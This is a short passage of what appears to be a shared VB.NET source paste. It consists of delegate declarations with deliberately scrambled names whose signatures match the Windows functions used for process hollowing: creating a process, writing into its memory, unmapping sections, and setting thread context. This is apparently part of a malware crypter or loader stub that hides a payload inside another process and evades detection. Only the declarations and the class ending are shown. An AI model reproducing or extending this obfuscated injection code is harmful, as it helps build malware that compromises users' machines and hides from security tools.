  160. Delegate Function IdqeQrONoWnZ(ByVal dqSmRpHhITNfOkUflhsKZghrPKnpWcvEsYUUSXJPWnONdTWOmQusaP As String, ByVal EZNWtoSUBUaiXDMNLQntCfsrIMOGfumXFHbEJXTCQopQZlOhMkDcDO As String, ByRef mFoLuGLITkyHIRpjNPvCVdTytusxipwNnnDtvnNpUSzoJzqEPxwkkMU As kRXqyoUPPOTEwEiJuLORJhLpZVKeVMZjTSGr, ByRef uWqVtMXMJDVSpZjplxOPkmvTBdtagzIwcYYXcNGNrSEUXa As kRXqyoUPPOTEwEiJuLORJhLpZVKeVMZjTSGr, ByVal qPsXHDrMCsHRzzmZBXjxfwimMBxrKHezYeampEZbk As Boolean, ByVal ZUxNgzTODirsqvgZgLYXnrtlLaSDkmHjoCNh As UInt32, ByVal GsfGcbElDosSsExQNjGeWSevKfTczuYaHbgoeKTTSWtBImyyOSVNlBtdLOi As IntPtr, ByVal puIFnBaaCK As String, <[In]()> ByRef kNgMjCbCNHZJfPZfbnFTbclJEhjQWpxnTOPNSDK As PXNsnomrdjqHihxnqhHjPNujEtkyJrreeGObDXCarEspjCyVFQWSduvRTczgK, <Out()> ByRef pGggvlogFiNLshC As jLTfIbHewWwICUEaKVaXizOWXgFyceLR) As Boolean
  161. Delegate Function ahyZYoehZxbGElaukbpziiVVwGStOsRjujga(ByVal mFoLuGLITkyHIRpjNPvCVdTytusxipwNnnDtvnNpUSzoJzqEPxwkkMU As IntPtr, ByVal JzOYHHtuVeqSmRpITIFyROlVflhtKLgirPwZpWcvEsYUUTYJCJnO As Integer, ByVal YorumLoTDynI As Byte(), ByVal dUhrbaOzbxKYGXJNnbZTl As Integer, <Out()> ByRef vToNTPaesOQZjdH As Integer) As Boolean
  162. Delegate Function JIYbeWvKDnVXrUZmjSfFFgoCdxcBSsTeYqZvfqwsEVkrtDaVyBhnHPEjffdiU(ByVal mFoLuGLITkyHIRpjNPvCVdTytusxipwNnnDtvnNpUSzoJzqEPxwkkMU As IntPtr, ByVal JzOYHHtuVeqSmRpITIFyROlVflhtKLgirPwZpWcvEsYUUTYJCJnO As Integer, ByRef YorumLoTDynI As Integer, ByVal dUhrbaOzbxKYGXJNnbZTl As Integer, ByRef vOiCvlRaaYdPIPtGGVZcUsIBkSVpSW As Integer) As Integer
  163. Delegate Function IPtUGWZcUtWBlgVpgXkuedRDeBNbJaMQqecWolIdDIF(ByVal mFoLuGLITkyHIRpjNPvCVdTytusxipwNnnDtvnNpUSzoJzqEPxwkkMU As IntPtr, ByVal JzOYHHtuVeqSmRpITIFyROlVflhtKLgirPwZpWcvEsYUUTYJCJnO As Integer, ByVal dUhrbaOzbxKYGXJNnbZTl As UInt32, ByVal type As UInt32, ByVal PZuIvhJfeGnFquVuGzSPmIgZV As UInt32) As IntPtr
  164. Delegate Function HEaKVaXizBWXgFlPeLRksiOJKINx(ByVal mFoLuGLITkyHIRpjNPvCVdTytusxipwNnnDtvnNpUSzoJzqEPxwkkMU As IntPtr, ByVal JzOYHHtuVeqSmRpITIFyROlVflhtKLgirPwZpWcvEsYUUTYJCJnO As Integer) As Long
  165. Delegate Function eHMZkFSGrTpoQxPBFfGRLdawTrjf(ByVal uWqVtMXMJDVSpZjplxOPkmvTBdtagzIwcYYXcNGNrSEUXa As IntPtr) As UInt32
  166. Delegate Function rRrDwPMjFdVRduJeSbztXZGafndJSSRVszHl(ByVal uWqVtMXMJDVSpZjplxOPkmvTBdtagzIwcYYXcNGNrSEUXa As IntPtr, ByRef rIXsgpNIlnUntCqWfgejHOVyMLbfhZyOGqY As raZNyawJXFWJNmaYSkhEayEBMPezBKUPsIbuOJxdmnlqbUcG) As Boolean
  167. Delegate Function ehvRTcmgKasNgaQvFFEItmtYkkBEHyXmfPwz(ByVal uWqVtMXMJDVSpZjplxOPkmvTBdtagzIwcYYXcNGNrSEUXa As IntPtr, ByRef rIXsgpNIlnUntCqWfgejHOVyMLbfhZyOGqY As raZNyawJXFWJNmaYSkhEayEBMPezBKUPsIbuOJxdmnlqbUcG) As Boolean
  168. End Class
Add Comment
Please, Sign In to add comment